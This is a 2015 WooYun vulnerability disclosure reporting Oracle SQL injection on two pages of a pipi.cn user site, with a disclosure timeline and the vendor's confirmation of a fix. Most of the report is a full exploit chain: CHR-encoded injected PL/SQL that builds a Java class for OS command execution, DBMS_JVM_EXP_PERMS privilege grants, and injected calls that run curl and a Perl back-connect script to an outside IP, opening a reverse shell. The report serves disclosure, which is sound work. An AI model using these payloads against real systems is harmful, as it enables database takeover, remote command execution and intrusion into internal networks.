当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098958

漏洞标题:皮皮网某站2处Oracle注入(可执行Shell命令)

相关厂商:皮皮网

漏洞作者: loopx9

提交时间:2015-03-02 18:06

修复时间:2015-04-16 18:08

公开时间:2015-04-16 18:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-02: 细节已通知厂商并且等待厂商处理中
2015-03-05: 厂商已经确认,细节仅向厂商公开
2015-03-15: 细节向核心白帽子及相关领域专家公开
2015-03-25: 细节向普通白帽子公开
2015-04-04: 细节向实习白帽子公开
2015-04-16: 细节向公众公开

简要描述:

oracle注入。

详细说明:

注入点:

http://user.pipi.cn/myMovsFirst.jsp?uid=15176
http://user.pipi.cn/myCommentsFirst.jsp?uid=9854177


oracle装了jvm,可以创建java包来执行系统命令。参考:http://drops.wooyun.org/tips/57
创建java包,post数据:

uid=9854177 and (select dbms_xmlquery.newcontext(CHR(68)||CHR(69)||CHR(67)||CHR(76)||CHR(65)||CHR(82)||CHR(69)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(66)||CHR(69)||CHR(71)||CHR(73)||CHR(78)||CHR(32)||CHR(69)||CHR(88)||CHR(69)||CHR(67)||CHR(85)||CHR(84)||CHR(69)||CHR(32)||CHR(73)||CHR(77)||CHR(77)||CHR(69)||CHR(68)||CHR(73)||CHR(65)||CHR(84)||CHR(69)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(99)||CHR(111)||CHR(109)||CHR(112)||CHR(105)||CHR(108)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(115)||CHR(111)||CHR(117)||CHR(114)||CHR(99)||CHR(101)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(100)||CHR(32)||CHR(34)||CHR(76)||CHR(105)||CHR(110)||CHR(120)||CHR(85)||CHR(116)||CHR(105)||CHR(108)||CHR(34)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(105)||CHR(111)||CHR(46)||CHR(42)||CHR(59)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(99)||CHR(108)||CHR(97)||CHR(115)||CHR(115)||CHR(32)||CHR(76)||CHR(105)||CHR(110)||CHR(120)||CHR(85)||CHR(116)||CHR(105)||CHR(108)||CHR(32)||CHR(101)||CHR(120)||CHR(116)||CHR(101)||CHR(110)||CHR(100)||CHR(115)||CHR(32)||CHR(79)||CHR(98)||CHR(106)||CHR(101)||CHR(99)||CHR(116)||CHR(32)||CHR(123)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(115)||CHR(116)||CHR(97)||CHR(116)||CHR(105)||CHR(99)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(114)||CHR(117)||CHR(110)||CHR(67)||CHR(77)||CHR(68)||CHR(40)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(97)||CHR(114)||CHR(103)||CHR(115)||CHR(41)||CHR(32)||CHR(123)||CHR(116)||CHR(114)||CHR(121)||CHR(123)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(32)||CHR(109)||CHR(121)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(61)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(32)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(40)||CHR(41)||CHR(46)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(40)||CHR(97)||CHR(114)||CHR(103)||CHR(115)||CHR(41)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(40)||CHR(41)||CHR(41)||CHR(41)||CHR(59)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(116)||CHR(101)||CHR(109)||CHR(112)||CHR(44)||CHR(115)||CHR(116)||CHR(114)||CHR(61)||CHR(34)||CHR(34)||CHR(59)||CHR(119)||CHR(104)||CHR(105)||CHR(108)||CHR(101)||CHR(40)||CHR(40)||CHR(115)||CHR(116)||CHR(101)||CHR(109)||CHR(112)||CHR(61)||CHR(109)||CHR(121)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(46)||CHR(114)||CHR(101)||CHR(97)||CHR(100)||CHR(76)||CHR(105)||CHR(110)||CHR(101)||CHR(40)||CHR(41)||CHR(41)||CHR(33)||CHR(61)||CHR(110)||CHR(117)||CHR(108)||CHR(108)||CHR(41)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(43)||CHR(61)||CHR(115)||CHR(116)||CHR(101)||CHR(109)||CHR(112)||CHR(43)||CHR(34)||CHR(92)||CHR(110)||CHR(34)||CHR(59)||CHR(109)||CHR(121)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(46)||CHR(99)||CHR(108)||CHR(111)||CHR(115)||CHR(101)||CHR(40)||CHR(41)||CHR(59)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(59)||CHR(125)||CHR(32)||CHR(99)||CHR(97)||CHR(116)||CHR(99)||CHR(104)||CHR(40)||CHR(69)||CHR(120)||CHR(99)||CHR(101)||CHR(112)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(32)||CHR(101)||CHR(41)||CHR(32)||CHR(123)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(101)||CHR(46)||CHR(116)||CHR(111)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(40)||CHR(41)||CHR(59)||CHR(125)||CHR(125)||CHR(125)||CHR(39)||CHR(59)||CHR(69)||CHR(78)||CHR(68)||CHR(59)) from dual) is not null


创建function,post数据:

uid=9854177 and (select dbms_xmlquery.newcontext(CHR(68)||CHR(69)||CHR(67)||CHR(76)||CHR(65)||CHR(82)||CHR(69)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(66)||CHR(69)||CHR(71)||CHR(73)||CHR(78)||CHR(32)||CHR(69)||CHR(88)||CHR(69)||CHR(67)||CHR(85)||CHR(84)||CHR(69)||CHR(32)||CHR(73)||CHR(77)||CHR(77)||CHR(69)||CHR(68)||CHR(73)||CHR(65)||CHR(84)||CHR(69)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(102)||CHR(117)||CHR(110)||CHR(99)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(32)||CHR(76)||CHR(105)||CHR(110)||CHR(120)||CHR(82)||CHR(117)||CHR(110)||CHR(67)||CHR(77)||CHR(68)||CHR(40)||CHR(112)||CHR(95)||CHR(99)||CHR(109)||CHR(100)||CHR(32)||CHR(105)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(41)||CHR(32)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(117)||CHR(97)||CHR(103)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(39)||CHR(39)||CHR(76)||CHR(105)||CHR(110)||CHR(120)||CHR(85)||CHR(116)||CHR(105)||CHR(108)||CHR(46)||CHR(114)||CHR(117)||CHR(110)||CHR(67)||CHR(77)||CHR(68)||CHR(40)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(41)||CHR(32)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(39)||CHR(39)||CHR(59)||CHR(39)||CHR(59)||CHR(69)||CHR(78)||CHR(68)||CHR(59)) from dual) is not null


利用DBMS_JVM_EXP_PERMS给当前账户赋予JAVA相关权限:

uid=9854177 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''create or replace function myjava return number is PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS   SELECT ''''''''GRANT'''''''',USER(), ''''''''SYS'''''''',''''''''java.io.FilePermission'''''''',  ''''''''<<ALL FILES>>'''''''',''''''''execute'''''''',''''''''ENABLED'''''''' from dual;BEGIN OPEN C1;  FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;'''';commit;return 1;end;'';   commit; end;') is not null


调用function:

uid=9854177 and myjava()=1

继续:

uid=9854177 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''create or replace function myjava return number is PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS   SELECT ''''''''GRANT'''''''',USER(), ''''''''SYS'''''''',''''''''java.lang.RuntimePermission'''''''',  ''''''''writeFileDescriptor'''''''',''''''''*'''''''',''''''''ENABLED'''''''' from dual;BEGIN OPEN C1;  FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;'''';commit;return 1;end;'';   commit; end;') is not null

调用function:

uid=9854177 and myjava()=1

第三个:

uid=9854177 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''create or replace function myjava return number is PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS   SELECT ''''''''GRANT'''''''',USER(), ''''''''SYS'''''''',''''''''java.lang.RuntimePermission'''''''',  ''''''''readFileDescriptor'''''''',''''''''*'''''''',''''''''ENABLED'''''''' from dual;BEGIN OPEN C1;  FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;'''';commit;return 1;end;'';   commit; end;') is not null

调用function:

uid=9854177 and myjava()=1


权限有了就能调用java执行命令了。

uid=9854177  and DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/usr/bin/curl', '123.123.123.123:53') is not null

或者使用自建的java包:

uid=9854177  and LinxRunCmd('/usr/bin/perl /tmp/backconnect.pl 123.123.123.123 53')=1

漏洞证明:

1.png


反弹shell:

2.png


都可以内网漫游了。

修复方案:

修复注入;
对oracle数据库服务器安全加固;

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-05 16:50

厂商回复:

已修复,感谢乌云的工程师!

最新状态:

暂无